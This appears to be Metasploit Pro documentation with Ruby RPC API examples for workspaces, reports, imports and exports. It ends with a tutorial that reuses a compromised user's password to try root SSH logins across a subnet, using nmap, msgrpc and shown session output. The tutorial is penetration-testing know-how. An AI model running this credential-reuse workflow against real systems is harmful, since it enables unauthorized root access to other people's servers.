Sample Usage of the RPC API

The following scripts provide examples of how you can use the RPC API to perform common tasks. These examples can be viewed in metasploit/apps/pro/api-example. Adding a Workspace

# # NOTE: Workspace and Project are the same thing. # require_relative 'metasploit_rpc_client' workspace_attrs = { name: "FooCorp Pentest", limit_to_network: true, boundary: "10.2.3.1-10.2.3.24", description: "A test of FooCorp's mission-critical internal Quake LAN." } # Setup stuff from CLI api_token = ARGV[0] host = ARGV[1] # Make the client - set ssl to true in install environments client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505) client.call "pro.workspace_add", workspace_attrs

Listing, Downloading, and Generating a Report

# Examples of report listing, download, and generation via RPC API. # # Usage: # ruby report_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>' # # Service key: Generate an API token from Global Settings, requires # Pro licensed instance. # MSPro instance: 127.0.0.1 if running locally # # require_relative 'metasploit_rpc_client' # Setup stuff from CLI api_token = ARGV[0] host = ARGV[1] workspace_name = ARGV[2] # Make the client client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505) ## Reports # List report types type_list = client.call('pro.list_report_types') puts "Allowed Report types: \n#{type_list}" # List current reports # report_list = client.call('pro.report_list', workspace_name) # puts "\n\nExisting Reports: #{report_list}\n" # Download report artifact # report_artifact_id = 1 # artifact = client.call('pro.report_artifact_download', report_artifact_id) # tmp_path = "/tmp/report_#{report_artifact_id}#{File.extname(artifact['file_path'])}" # File.open(tmp_path, 'w') {|c| c.write artifact['data']} # puts "Wrote report artifact #{report_artifact_id} to #{tmp_path}" # Create a report # report_hash = {workspace: workspace_name, # name: "SuperTest_#{Time.now.to_i}", # report_type: :audit, # #se_campaign_id: 1, # created_by: 'whoareyou', # file_formats: [:pdf] # } # report_creation = client.call('pro.start_report', report_hash) # puts "\n\nCreated report: \n#{report_creation}" ## Download report and child artifacts # report_id = 1 # report = client.call('pro.report_download', report_id) # report['report_artifacts'].each_with_index do |a, i| # tmp_path = "/tmp/report_test_#{i}_#{Time.now.to_i}#{File.extname(a['file_path'])}" # File.open(tmp_path, 'w') {|c| c.write a['data']} # puts "Wrote report artifact #{report_id} to #{tmp_path}" # end

Importing Data

# # Example of data import via the RPC API. # # Usage: # ruby import_api_test.rb <Service key> <MSPro instance> \ # '<Project name>' \ # '<Full path to import file>' # # Service key: Generate an API token from Global Settings, requires # Pro licensed instance. # MSPro instance: 127.0.0.1, if running locally # Project name: name of an existing workspace into which to import # Import file path: fully qualified path to import file of supported # format # require_relative 'metasploit_rpc_client' # CLI arguments api_token = ARGV[0] host = ARGV[1] workspace_name = ARGV[2] import_file_path = ARGV[3] unless api_token && host && workspace_name raise Exception, 'You must specify an API token, an instance address, and a workspace name.' end unless import_file_path raise Exception, 'You must specify an import file path.' end # Make the client client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505) # Import config import_hash = { workspace: workspace_name, # Toggle datastore options (documented, with some exceptions, like # this handy one) thusly: # DS_AUTOTAG_OS: true, # TODO Update with correct path: DS_PATH: import_file_path } import = client.call('pro.start_import', import_hash) puts "\nStarted import: \n#{import}"

Exporting Data

# Examples of export listing, download, and generation via # RPC API. # # Usage: # ruby export_api_test.rb <SERVICE KEY> <MSPro instance> '<WorkspaceName>' # # Service key: Generate an API token from Global Settings, requires # Pro licensed instance. # MSPro instance: 127.0.0.1 if running locally # # require_relative 'metasploit_rpc_client' # Setup stuff from CLI api_token = ARGV[0] host = ARGV[1] workspace_name = ARGV[2] # Make the client client = MetasploitRPCClient.new(host:host, token:api_token, ssl:false, port:50505) ### Exports ## List current exports export_list = client.call('pro.export_list', workspace_name) puts "Existing Exports: #{export_list}" ## Create export # export_types = ['zip_workspace','xml','replay_scripts','pwdump'] # export_config = {created_by: 'whoareyou', # export_type: export_types[0], # workspace: workspace_name} # export_creation = client.call('pro.start_export', export_config) # puts "Created export: #{export_creation}" ## Download export # export_id = 1 # export = client.call('pro.export_download', export_id) # tmp_path = "/tmp/export_test_#{export_id}#{File.extname(export['file_path'])}" # File.open(tmp_path, 'w') {|c| c.write export['data']} # puts "Wrote export #{export_id} to #{tmp_path}"

Tutorial Find Linux Servers that allow me to log in as root using a known credential.

Let’s lay out the testing scenario. Assume, through one method or another, I’ve obtained the clear-text password for a single user - Bob. I have Bob’s Windows credentials and can easily, through RDP or psexec, access his machine. I’ve determined that Bob is a Linux Administrator. I wish to determine what, if any, Linux servers allow me to log in as “root” using Bob’s compromised password. There are a number of ways to accomplish this. Below is one such method.

nmap 10.0.1.1/24 -p22 -oG ssh_scan.gnmap

The file, ssh_scan.gnmap, contains our live hosts and the status of SSH. We’ll need to clean up the results file to hone in on only those hosts with SSH “open.” The following command does just that and saves the target IPs to a separate file:

cat ssh_scan.gnmap | grep open | cut -d " " -f 2 > ssh_hosts.txt

We now have a file named ssh_hosts.txt that contains a list of IP addresses running SSH. Next, let’s start Metasploit and the MSGRPC interface:

msfconsole msf exploit(handler) > load msgrpc Pass=pa55w0rd [*] MSGRPC Service: 127.0.0.1:55552 [*] MSGRPC Username: msf [*] MSGRPC Password: pa55w0rd [*] Successfully loaded plugin: msgrpc msf exploit(handler) >

At this point, Metasploit’s RPC interface is listening on port 55552. We can proceed to write our Python script to automate the task of testing SSH logins. I highly recommend you look over Metasploit’s Remote API Documentation before proceeding. The following pseudo code addresses our needs:

  • Authenticate to Metasploit’s MSGRPC interface (username: msf, password: pa55w0rd).
  • Create a Metasploit console.
  • For each Linux host in the file, run the SSH_login module using Bob’s compromised password of ‘s3cr3t’.
  • Destroy the Metasploit console (clean up to preserve resources).
  • Interact with any SSH sessions established.

A complete listing of the Python source is below (be gentle, I’m not a programmer). To proceed with the testing, I update the user settings at the top of the script to reflect a USERNAME of “root” and a PASSWORD of “s3cr3t” (which is Bob’s compromised password). Save the changes and run the Python script:

./msfrpc_ssh_scan.py [+] Authentication successful [+] Console 0 created [!] Testing host 10.0.1.43 [+] Listing sessions... Session ID Target 1 root@10.0.1.43

Looking at the session listing, the script successfully authenticated as “root” using Bob’s password on host 10.0.1.43. Our Metasploit console that we started previously confirms this fact:

msf exploit(handler) > [*] Command shell session 1 opened (10.0.2.10:43863 -> 10.0.1.43:22)... msf exploit(handler) > sessions -l Active sessions =============== 1 shell linux SSH root:s3cr3t (10.0.1.43:22) 10.0.2.10:43863 -> 10.0.1.43:22 (10.0.1.43)